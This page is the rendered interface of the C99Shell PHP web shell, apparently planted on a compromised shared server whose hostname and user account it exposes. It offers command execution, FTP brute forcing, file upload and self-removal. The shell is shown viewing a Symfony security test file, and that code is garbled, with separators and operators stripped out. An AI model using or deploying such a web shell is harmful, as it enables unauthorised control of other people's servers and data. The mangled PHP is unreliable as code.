!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Security/Symfony/Component/Security/Core/Tests/Authorization/   drwxr-xr-x
Free 293.92 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AccessDecisionManagerTest.php (5.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Security\Core\Tests\Authorization;

use 
Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
use 
Symfony\Component\Security\Core\Authorization\Voter\VoterInterface;

class 
AccessDecisionManagerTest extends \PHPUnit_Framework_TestCase
{
    public function 
testSupportsClass()
    {
        
$manager = new AccessDecisionManager(array(
            
$this->getVoterSupportsClass(true),
            
$this->getVoterSupportsClass(false),
        ));
        
$this->assertTrue($manager->supportsClass('FooClass'));

        
$manager = new AccessDecisionManager(array(
            
$this->getVoterSupportsClass(false),
            
$this->getVoterSupportsClass(false),
        ));
        
$this->assertFalse($manager->supportsClass('FooClass'));
    }

    public function 
testSupportsAttribute()
    {
        
$manager = new AccessDecisionManager(array(
            
$this->getVoterSupportsAttribute(true),
            
$this->getVoterSupportsAttribute(false),
        ));
        
$this->assertTrue($manager->supportsAttribute('foo'));

        
$manager = new AccessDecisionManager(array(
            
$this->getVoterSupportsAttribute(false),
            
$this->getVoterSupportsAttribute(false),
        ));
        
$this->assertFalse($manager->supportsAttribute('foo'));
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testSetVotersEmpty()
    {
        
$manager = new AccessDecisionManager(array());
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testSetUnsupportedStrategy()
    {
        new 
AccessDecisionManager(array($this->getVoter(VoterInterface::ACCESS_GRANTED)), 'fooBar');
    }

    
/**
     * @dataProvider getStrategyTests
     */
    
public function testStrategies($strategy$voters$allowIfAllAbstainDecisions$allowIfEqualGrantedDeniedDecisions$expected)
    {
        
$token $this->getMock('Symfony\Component\Security\Core\Authentication\Token\TokenInterface');
        
$manager = new AccessDecisionManager($voters$strategy$allowIfAllAbstainDecisions$allowIfEqualGrantedDeniedDecisions);

        
$this->assertSame($expected$manager->decide($token, array('ROLE_FOO')));
    }

    public function 
getStrategyTests()
    {
        return array(
            
// affirmative
            
array('affirmative'$this->getVoters(100), falsetruetrue),
            array(
'affirmative'$this->getVoters(120), falsetruetrue),
            array(
'affirmative'$this->getVoters(010), falsetruefalse),
            array(
'affirmative'$this->getVoters(001), falsetruefalse),
            array(
'affirmative'$this->getVoters(001), truetruetrue),

            
// consensus
            
array('consensus'$this->getVoters(100), falsetruetrue),
            array(
'consensus'$this->getVoters(120), falsetruefalse),
            array(
'consensus'$this->getVoters(210), falsetruetrue),

            array(
'consensus'$this->getVoters(001), falsetruefalse),

            array(
'consensus'$this->getVoters(001), truetruetrue),

            array(
'consensus'$this->getVoters(220), falsetruetrue),
            array(
'consensus'$this->getVoters(221), falsetruetrue),

            array(
'consensus'$this->getVoters(220), falsefalsefalse),
            array(
'consensus'$this->getVoters(221), falsefalsefalse),

            
// unanimous
            
array('unanimous'$this->getVoters(100), falsetruetrue),
            array(
'unanimous'$this->getVoters(101), falsetruetrue),
            array(
'unanimous'$this->getVoters(110), falsetruefalse),

            array(
'unanimous'$this->getVoters(002), falsetruefalse),
            array(
'unanimous'$this->getVoters(002), truetruetrue),
        );
    }

    protected function 
getVoters($grants$denies$abstains)
    {
        
$voters = array();
        for (
$i 0$i $grants$i++) {
            
$voters[] = $this->getVoter(VoterInterface::ACCESS_GRANTED);
        }
        for (
$i 0$i $denies$i++) {
            
$voters[] = $this->getVoter(VoterInterface::ACCESS_DENIED);
        }
        for (
$i 0$i $abstains$i++) {
            
$voters[] = $this->getVoter(VoterInterface::ACCESS_ABSTAIN);
        }

        return 
$voters;
    }

    protected function 
getVoter($vote)
    {
        
$voter $this->getMock('Symfony\Component\Security\Core\Authorization\Voter\VoterInterface');
        
$voter->expects($this->any())
              ->
method('vote')
              ->
will($this->returnValue($vote));
        ;

        return 
$voter;
    }

    protected function 
getVoterSupportsClass($ret)
    {
        
$voter $this->getMock('Symfony\Component\Security\Core\Authorization\Voter\VoterInterface');
        
$voter->expects($this->any())
              ->
method('supportsClass')
              ->
will($this->returnValue($ret));
        ;

        return 
$voter;
    }

    protected function 
getVoterSupportsAttribute($ret)
    {
        
$voter $this->getMock('Symfony\Component\Security\Core\Authorization\Voter\VoterInterface');
        
$voter->expects($this->any())
              ->
method('supportsAttribute')
              ->
will($this->returnValue($ret));
        ;

        return 
$voter;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0986 ]--